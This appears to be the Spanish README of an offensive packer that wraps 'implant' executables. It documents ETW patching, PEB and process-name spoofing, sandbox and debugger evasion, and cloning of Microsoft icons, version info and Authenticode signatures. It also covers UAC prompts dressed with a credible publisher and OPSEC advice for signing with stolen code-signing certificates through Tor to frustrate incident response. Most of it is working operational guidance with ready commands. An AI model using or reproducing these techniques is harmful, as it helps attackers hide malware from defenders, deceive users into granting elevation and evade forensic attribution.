Códigos de salida del cargador (Release): todas las rutas de fallo del cargador salen con código 0 mediante LOADER_EXIT (Stub/Common.h). Las compilaciones Debug mantienen códigos distintos para diagnóstico por pasos. Las detecciones de evasión ya salen con 0.
El constructor --preset selecciona 3 índices de DLL almacenados en .rsrc. El stub resuelve nombres de g_DllPool en tiempo de ejecución — ningún nombre de DLL aparece en el payload ni en los metadatos.
/NODEFAULTLIB), sin malloc/free, sin <string.h>Mantenido por: Razz | Construido para investigación de seguridad consciente de opsec y diversión
Asistencia en la implementación realizada con Claude Code, Grok y DeepSeek
MIT — uso autorizado únicamente. Consulta LICENSE para el descargo de responsabilidad completo.
El nombre de suplantación es solo un nombre de archivo ASCII: Stub antepone C:\Windows\System32\ en tiempo de ejecución. Cualquier cosa que no esté en el grupo de 9 procesos predeterminado también funciona.
Desactivar características específicas de OPSEC (p. ej., cuando el entorno objetivo no necesita parcheo de ETW, o la suplantación de PEB rompe un payload que recorre su propio PEB):``` Builder.exe implant.exe packed.exe --disable etw Builder.exe implant.exe packed.exe --disable peb,spoofing
`--disable all` solo cubre las comprobaciones de sandbox/debug. Los tokens OPSEC (`etw`, `spoofing`, `peb`, `tls`) deben listarse explícitamente.
</details>
<details>
<summary><b>Clonación de identidad — VERSIONINFO, icono, certificado Authenticode</b></summary>
Copia la identidad cosmética de cualquier PE donante en el resultado empaquetado. Las propiedades del Explorador, el icono de la barra de tareas y la pestaña de Firmas Digitales del binario resultante reflejan el donante:```
Builder.exe implant.exe notepad.exe --clone-meta C:\Windows\System32\notepad.exe
Builder.exe implant.exe OneDrive.exe --clone-meta "C:\Program Files\Microsoft OneDrive\OneDrive.exe"
Lo que se clona:
RT_VERSION) — pestaña "Propiedades → Detalles" del Explorador: empresa, nombre del producto, versión del archivo, derechos de autor. Se copian todos los identificadores de idioma presentes en el donante.RT_GROUP_ICON + RT_ICON) — el grupo de iconos con el ID más bajo (el que el Explorador usa para el icono del shell). La barra de tareas, Alt+Tab y el explorador de archivos muestran el icono del donante.WIN_CERTIFICATE PKCS#7 sin procesar se añade al final del archivo alineado a 8 bytes. La pestaña "Propiedades → Firmas digitales" del Explorador muestra el firmante del donante (por ejemplo, Microsoft Windows). Get-AuthenticodeSignature devuelve Status = HashMismatch — la firma es estructuralmente válida, pero el hash cubre los bytes del donante, no los nuestros. Supera una inspección visual casual; cualquier verificador real (signtool verify, WinVerifyTrust, motores antivirus) detecta la discrepancia.OPSEC — OriginalFilename: el VERSIONINFO del donante incluye OriginalFilename (por ejemplo, notepad.exe). Algunos verificadores de firmas y heurísticas de Defender marcan una discrepancia entre OriginalFilename y el nombre real del archivo en disco. Nombra la salida para que coincida:```
Builder.exe implant.exe notepad.exe --clone-meta notepad.exe
**Combinación con `--pfx`:** cuando ambas banderas están presentes, la Fase 11 (clonación) se ejecuta antes de la Fase 12 (firma). La firma real sobrescribe el directorio del certificado clonado; VERSIONINFO y el icono se conservan. `Get-AuthenticodeSignature` muestra su certificado como válido, no el certificado del donante con hash no coincidente:```
Builder.exe implant.exe notepad.exe --clone-meta notepad.exe --pfx self.pfx --pfx-pass hunter2
Verificación:```powershell
Get-AuthenticodeSignature .\notepad.exe | Format-List *
Get-AuthenticodeSignature .\notepad.exe | Format-List *
signtool verify /pa /v notepad.exe
</details>
<details>
<summary><b>Elevación de UAC — manifiesto requireAdministrator</b></summary>
Incrusta un manifiesto `requestedExecutionLevel="requireAdministrator"` para que el PE de salida active una solicitud de UAC al iniciarse y reciba un token de alta integridad si el usuario lo aprueba:```
Builder.exe implant.exe packed.exe --uac
El manifiesto es un recurso RT_MANIFEST (ID de recurso 1 — CREATEPROCESS_MANIFEST_RESOURCE_ID), la misma ranura que el cargador de Windows verifica para los manifiestos de compatibilidad de aplicaciones y privilegios. La salida es por lo demás idéntica a una compilación sin --uac; no hay cambios en la ruta del Stub o del payload.
Combinación con --clone-meta y --pfx: La Fase 10.5 (manifiesto) se ejecuta antes de la Fase 11 (clonación) y la Fase 12 (firma). La firma Authenticode calculada en la Fase 12 cubre todos los recursos incrustados, incluido el manifiesto: el hash es válido sobre el binario final. El diálogo de UAC muestra el nombre del editor del certificado de firma:```
Builder.exe implant.exe notepad.exe --uac --clone-meta notepad.exe --pfx self.pfx --pfx-pass hunter2
**OPSEC:** una solicitud de UAC es un evento visible para el usuario. El diálogo "¿Quieres permitir que esta aplicación realice cambios en tu dispositivo?" muestra el nombre del archivo en disco y el editor de Authenticode (o "Editor desconocido" si no está firmado). Combine `--uac` con `--clone-meta` para mostrar un icono familiar y `--pfx` para mostrar un editor creíble. Para ejecución desatendida que ya se inicia desde un proceso elevado (por ejemplo, servicio, movimiento lateral WMI, shell de administrador local), `--uac` es innecesario.
</details>
<details>
<summary><b>Firmado Authenticode (PFX, sin signtool)</b></summary>
Firme la salida empaquetada con un certificado PFX. El Builder se comunica directamente con `mssign32!SignerSignEx2` — no requiere `signtool.exe` en la estación de trabajo del operador, ni la herramienta de firma del Windows SDK:```
Builder.exe implant.exe packed.exe --pfx cert.pfx --pfx-pass hunter2
PFX sin contraseña (omite la bandera --pfx-pass por completo):```
Builder.exe implant.exe packed.exe --pfx cert.pfx
Añada una marca de tiempo RFC 3161 para que la firma siga siendo válida después de que el certificado expire o sea revocado. Tenga en cuenta que la autoridad de sellado de tiempo registra la IP de la compilación y el momento exacto de la firma — vea la nota de OPSEC a continuación:```
Builder.exe implant.exe packed.exe --pfx cert.pfx --pfx-pass hunter2 --ts-url http://timestamp.digicert.com
Builder.exe implant.exe packed.exe --pfx cert.pfx --ts-url http://timestamp.sectigo.com
Builder.exe implant.exe packed.exe --pfx cert.pfx --ts-url http://timestamp.globalsign.com/tsa/r6advanced1
OPSEC — cuándo omitir la marca de tiempo: --ts-url es opt-in. Cada solicitud a una TSA pública coloca el host de compilación del operador en los registros HTTP de la TSA junto con el segundo exacto en que se produjo la firma, una fuerte correlación forense si la muestra aparece posteriormente en una respuesta a incidentes. Incrustar la marca de tiempo también sella ese mismo momento en el blob de firma dentro del PE empaquetado, donde cualquier analista posterior puede leerlo. Cuando no se requiere marca de tiempo (típico para certificados autofirmados u operaciones de corta duración donde la validez de la firma más allá del vencimiento del certificado no importa), omita la bandera y la firma permanece completamente aislable (air-gappable).
OPSEC — cuándo conservar la marca de tiempo: los certificados de firma de código robados o de corta duración que serán revocados se benefician de una contrafirma TSA: Windows acepta la firma posterior a la revocación siempre que la marca de tiempo sea anterior a la entrada de revocación. En ese caso, firme desde una VM aislada a través de un proxy / Tor, y trate los registros de la TSA como una exposición deliberada (pero contenida).
La clave privada nunca se persiste: PFXImportCertStore se llama con PKCS12_NO_PERSIST_KEY, por lo que no aparece ningún contenedor de claves en %APPDATA%\Microsoft\Crypto. Resumen SHA-256, KSP preferido de CNG para compatibilidad con PFX producidos por New-SelfSignedCertificate y OpenSSL ≥3.x.
Aplicado a través de NtProtectVirtualMemory (mediante HellsHall + Moonwalk RSP pivot). Una variable separada pPage contiene la dirección base para NtProtect (el kernel puede redondearla a un límite de página); pEtw se conserva para la escritura de bytes real.
SearchIndexer.exetaskhostw.exespoolsv.exewlrmdr.exeWMPDMC.exehvix64.exeCryptGenRandom| Comprobación | Método | Qué detecta |
|---|
debugger | PEB.BeingDebugged, PEB.NtGlobalFlag, banderas ProcessHeap, NtQueryInformationProcess(ProcessDebugPort) | Depurador Win32 adjunto |
api-emu | RtlComputeCrc32(seed, NULL, 0) — debe ser igual a seed | Emulación de API que devuelve resultados incorrectos |
exec-ctrl | Semáforo con nombre (wuauctl por defecto, configurable) — ERROR_ALREADY_EXISTS | Segunda ejecución de la muestra |
sleep-fwd | Sleep(ms) + delta de GetTickCount64, umbral = 90% de ms | Sandbox que acelera las llamadas Sleep |
Comprobaciones suaves — se requieren 2 o más positivos para salir (reduce falsos positivos):
| Comprobación | Umbral | Qué detecta |
|---|---|---|
uptime | Tiempo de actividad del sistema < N minutos (por defecto: 2) | Máquina virtual sandbox recién creada |
cpu | Número de procesadores lógicos < 2 | Sandbox de bajas prestaciones |
screen | Ancho de pantalla ≤ 1024 px | Resoluciones de sandbox 800×600 / 1024×768 |
files | Recuento de subclaves HKCU\...\Explorer\RecentDocs < 5 | Perfil de usuario limpio/falso |
Retardo de temporización:
Evasion_HammerDelay() consume tiempo real de pared mediante pares VirtualAlloc/VirtualFree temporizados por GetTickCount64. La duración es configurable mediante --hammer-s (por defecto: 3 segundos). Los aceleradores de tiempo de sandbox no pueden adelantar los viajes de ida y vuelta del asignador, lo que hace que esto sea efectivo contra la evasión por avance rápido de sueño que sortea la comprobación sleep-fwd.
UpdateResourceART_GROUP_ICONFindResourceAERROR_RESOURCE_NAME_NOT_FOUNDLOAD_LIBRARY_AS_DATAFILEEnumResourceNamesALANG_NEUTRALEnumResourceLanguagesALANGIDFindResourceExAUpdateResourceABeginUpdateResourceA(FALSE).rsrcCloneMeta_CopyCertDirectory lee el donante en un búfer plano mediante ReadFileToBuffer, analiza los encabezados DOS → NT (soporta donantes x86 y x64 mediante el despacho OptionalHeader.Magic) y extrae DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY]. Esa entrada de directorio utiliza un desplazamiento de archivo (no un RVA) — es el único directorio de datos de PE donde VirtualAddress es un desplazamiento de bytes sin procesar en el archivo. El blob de certificado se agrega al final del archivo alineado a 8 bytes (requisito de alineación WIN_CERTIFICATE), la entrada del directorio SECURITY del destino se parchea in situ, luego MapFileAndCheckSumA (de imagehlp.lib) recalcula la suma de comprobación del PE. El identificador de escritura se cierra antes de llamar a MapFileAndCheckSumA — MapFileAndCheckSumA abre su propio identificador interno y fallaría con una violación de uso compartido si el llamante mantiene un identificador de escritura exclusivo — luego se vuelve a abrir brevemente para escribir solo los 4 bytes de la suma de comprobación en el desplazamiento de archivo calculado.
New-SelfSignedCertificateSignerSignEx2NTE_BAD_TYPE0x8009000A--ts-url es optativo. El sellado de tiempo RFC 3161 envía una solicitud HTTP a la autoridad de sellado de tiempo, que registra la IP del solicitante más el momento de la firma, e incrusta ese momento en el blob de firma dentro del PE. Omita la bandera para una firma completamente desconectada; úsela solo cuando la firma deba sobrevivir a la vida útil del certificado (por ejemplo, certificados de firma de código robados/de corta duración que serán revocados).
| Índice | DLL | Grupo |
|---|
| 0 | xpsservices.dll | IMPRESIÓN |
| 1 | msi.dll | IMPRESIÓN |
| 2 | dbghelp.dll | IMPRESIÓN |
| 3 | winmm.dll | MEDIOS |
| 4 | dxgi.dll | MEDIOS |
| 5 | oleaut32.dll | MEDIOS |
| 6 | winhttp.dll | RED |
| 7 | wtsapi32.dll | RED |
| 8 | wlanapi.dll | RED |
| 9 | bcrypt.dll | (solo ALEATORIO) |
El índice 9 (bcrypt.dll) solo es accesible mediante --preset RANDOM; los presets nombrados cubren los índices 0–8 en grupos de tres. El constructor verifica en tiempo de compilación que al menos una de las tres DLL seleccionadas tenga una sección ejecutable lo suficientemente grande para el blob del payload, y advierte si ninguna cumple.